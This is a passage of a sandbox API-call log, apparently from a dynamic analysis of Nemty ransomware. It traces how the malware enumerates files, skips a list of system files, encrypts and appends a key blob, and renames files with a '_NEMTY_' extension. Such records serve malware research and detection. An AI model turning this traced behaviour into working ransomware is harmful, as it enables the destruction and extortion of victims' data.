lpUsedDefaultChar=0x0) returned 11 [0182.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUS", lpUsedDefaultChar=0x0) returned 11 [0182.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUS", lpUsedDefaultChar=0x0) returned 11 [0182.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.946] Sleep (dwMilliseconds=0x5) [0182.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20b242b0, dwHighDateTime=0x1d561e8)) [0182.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20b242b0, dwHighDateTime=0x1d561e8)) [0182.955] GetLastError () returned 0x0 [0182.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.955] GetLastError () returned 0x0 [0182.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.955] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.955] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.955] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.955] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="rFZpNu1IUTMgjCIToXDDmFCHCEiNCyn3UnxkMZuVeXMeomTlJ8Oyu8S5dxUhcF1c\r\nCaCMBpxDtmmICaSEdf51IurJYtZIQjUp7+tJ2GCG+w7hXpM8l6o4QmcU9EzWvAbl\r\nT0GkXTJ6cLL9/gED++0wirX9Zyy4Vt4bHBwwC7T/H7266wHEDmtNO/vufNlX7v2z\r\n7ChCzfVy660F3GcOingzUQKi9s4PzzanTQEBxZSrxrGaJ28uZSvimXvqqw3n4uB1\r\nXwRmSjynkg8saW1g02qe89jMbabnxZtCM+iHzl7GjahQRM8DI6+FTiWW1Y7LxSzy\r\nXzJAJqaPSfTXJc0Es+KmNQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\EScript.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\escript.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.956] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40960) returned 1 [0182.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa000) returned 0x6352c48 [0182.956] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.956] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa000, lpOverlapped=0x0) returned 1 [0182.960] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.960] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa000, lpOverlapped=0x0) returned 1 [0182.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.960] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000 [0182.960] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.961] CloseHandle (hObject=0x2e8) returned 1 [0182.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.961] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\EScript.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\escript.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\EScript.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\escript.rus._nemty_kgobjgd_")) returned 1 [0182.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.962] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.RUS", cAlternateFileName="")) returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2=".") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="..") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="...") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="windows") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="rsa") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="NTDETECT.COM") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="ntldr") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="MSDOS.SYS") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="IO.SYS") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="boot.ini") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="boot.ini") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="ntuser.dat") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="desktop.ini") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="CONFIG.SYS") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="RECYCLER") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="bootmgr") returned 1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="programdata") returned -1 [0182.962] lstrcmpiW (lpString1="IA32.RUS", lpString2="appdata") returned 1 [0182.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUS", lpUsedDefaultChar=0x0) returned 8 [0182.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUS", lpUsedDefaultChar=0x0) returned 8 [0182.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUS", lpUsedDefaultChar=0x0) returned 8 [0182.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0182.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUS", lpUsedDefaultChar=0x0) returned 8 [0182.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.963] Sleep (dwMilliseconds=0x5) [0182.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20b4a410, dwHighDateTime=0x1d561e8)) [0182.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20b4a410, dwHighDateTime=0x1d561e8)) [0182.970] GetLastError () returned 0x0 [0182.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.970] GetLastError () returned 0x0 [0182.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.971] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.971] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.971] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.971] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="wIbxrrCS3qVA4ZQvA3ELmPXZCENtXaIc4dEM0rDOmwfzZujKfcH8wiaJdqCJDfHL\r\nkwEn5PtNrjudE84d+hpJvYW93rjV3Bnog/+rnntGNHBeHTXYy6YXnRegoi5capnb\r\nNrM+/fBT3+0J7H6SZm9Ho2LOyoBvII+OsKqRXwKcvdaUUhsjssjwSdXUvYXurCNL\r\nnwKD8m/iSS1vDefGEODRWtsxZnpcP+2TqY55Km4krodCndcQG9y53Ug/ZDc3GhPa\r\n1MCAtmbKe8Xd7vLGdR0WzXJgiuMY9wVE7hsJShtb1C20ubcBQsMssQlh2j4sbWRR\r\nn/nl/kUms+QGnw33B6vJSA==\r\n", pcchString=0x653e5dc) returned 1 [0182.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\IA32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ia32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.972] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0182.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0182.972] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.972] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0182.973] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.973] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0182.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.974] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0182.974] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.974] CloseHandle (hObject=0x2e8) returned 1 [0182.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0182.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.974] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\IA32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ia32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\IA32.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ia32.rus._nemty_kgobjgd_")) returned 1 [0182.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0182.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.975] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MakeAccessible.RUS", cAlternateFileName="MAKEAC~1.RUS")) returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2=".") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="..") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="...") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="windows") returned -1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="rsa") returned -1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="NTDETECT.COM") returned -1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="ntldr") returned -1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="MSDOS.SYS") returned -1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="IO.SYS") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="boot.ini") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="boot.ini") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="ntuser.dat") returned -1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="desktop.ini") returned 1 [0182.975] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="CONFIG.SYS") returned 1 [0182.976] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="RECYCLER") returned -1 [0182.976] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.976] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="bootmgr") returned 1 [0182.976] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="programdata") returned -1 [0182.976] lstrcmpiW (lpString1="MakeAccessible.RUS", lpString2="appdata") returned 1 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 